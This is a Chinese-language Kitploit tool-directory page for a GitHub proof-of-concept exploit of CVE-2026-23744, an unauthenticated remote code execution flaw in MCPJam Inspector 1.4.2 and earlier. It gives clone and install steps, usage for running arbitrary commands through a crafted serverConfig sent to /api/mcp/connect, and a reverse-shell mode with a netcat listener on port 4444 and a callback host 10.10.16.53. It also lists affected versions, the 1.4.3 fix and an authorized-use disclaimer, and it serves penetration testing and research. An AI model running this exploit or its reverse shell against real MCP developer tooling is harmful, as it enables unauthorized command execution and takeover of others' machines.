Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23744 — 针对 MCPJam Inspector 的 CVE-2026-23744 未认证远程代码执行概念验证(PoC)。生成特制的 MCP serverConfig 载荷,以利用 /api/mcp/connect 端点,支持反向 Shell 与 dry-run 调试模式。 | Kitploit
工具/GitHubGitHub/ozcanpng/cve-2026-23744
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具
GitHubozcanpng/cve-2026-23744

CVE-2026-23744

针对 MCPJam Inspector 的 CVE-2026-23744 未认证远程代码执行概念验证(PoC)。生成特制的 MCP serverConfig 载荷,以利用 /api/mcp/connect 端点,支持反向 Shell 与 dry-run 调试模式。

查看仓库
112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-23744 — MCPJam Inspector 未授权 RCE

CVE-2026-23744 的未授权远程代码执行 PoC。MCPJam Inspector 1.4.2 及更早版本通过 /api/mcp/connect 暴露了相关功能,可在无需认证的情况下启动由攻击者控制的 MCP 服务器命令。

仅限授权测试和研究使用。请勿将其用于你不拥有或未经明确许可进行测试的系统。


功能说明

root@kitploit:~
HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution
  1. 构建一个精心构造的 MCP serverConfig 载荷。
  2. 针对未认证的 /api/mcp/connect 端点。
  3. 通过 bash -c 启动配置的命令。
  4. 支持安全命令验证和反向 Shell 载荷。
  5. 提供 dry-run/debug 模式,可在发送流量前检查载荷。

截图

反向 Shell 设置

Reverse shell setup

MCPJam 连接载荷

MCPJam connect payload

已接收 Shell

Shell received


安装

root@kitploit:~
git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

用法

安全命令验证

root@kitploit:~
python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

反向 Shell

先启动一个监听器:

root@kitploit:~
rlwrap nc -lvnp 4444

然后运行:

root@kitploit:~
python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

常用选项:

root@kitploit:~
--cmd COMMAND       Command to execute (default: id)
--server-id VALUE   serverId value in the crafted MCP config (default: pwn)
--dry-run           Build payload flow without sending the HTTP request
--debug             Print endpoint and JSON payload
--verify-tls        Verify HTTPS certificates
--timeout SECONDS   HTTP timeout in seconds (default: 8)
--yes               Skip reverse-shell confirmation prompt

受影响版本

产品受影响版本所需访问权限影响
MCPJam Inspector<= 1.4.2无以 MCPJam Inspector 进程用户身份执行远程命令

当 MCPJam Inspector 监听在 0.0.0.0 时,该问题尤其容易暴露,远程主机可以直接访问此开发服务。


注意事项

  • 该 PoC 向 /api/mcp/connect 发送 JSON 载荷。
  • 命令通过 serverConfig.command 和 serverConfig.args 传递。
  • 在尝试反向 Shell 之前,建议优先使用 --cmd 进行安全验证。
  • 使用 --dry-run --debug 可在不触碰目标的情况下检查生成的请求。
  • 根据 NVD,1.4.3 版本包含上游补丁。

参考链接

  • NVD — CVE-2026-23744
  • GitHub 安全公告 — GHSA-232v-j27c-5pp6
  • 补丁提交
  • MCPJam Inspector

PoC 作者

ozcanpng — github.com/ozcanpng — ozcanpng.dev

下载工具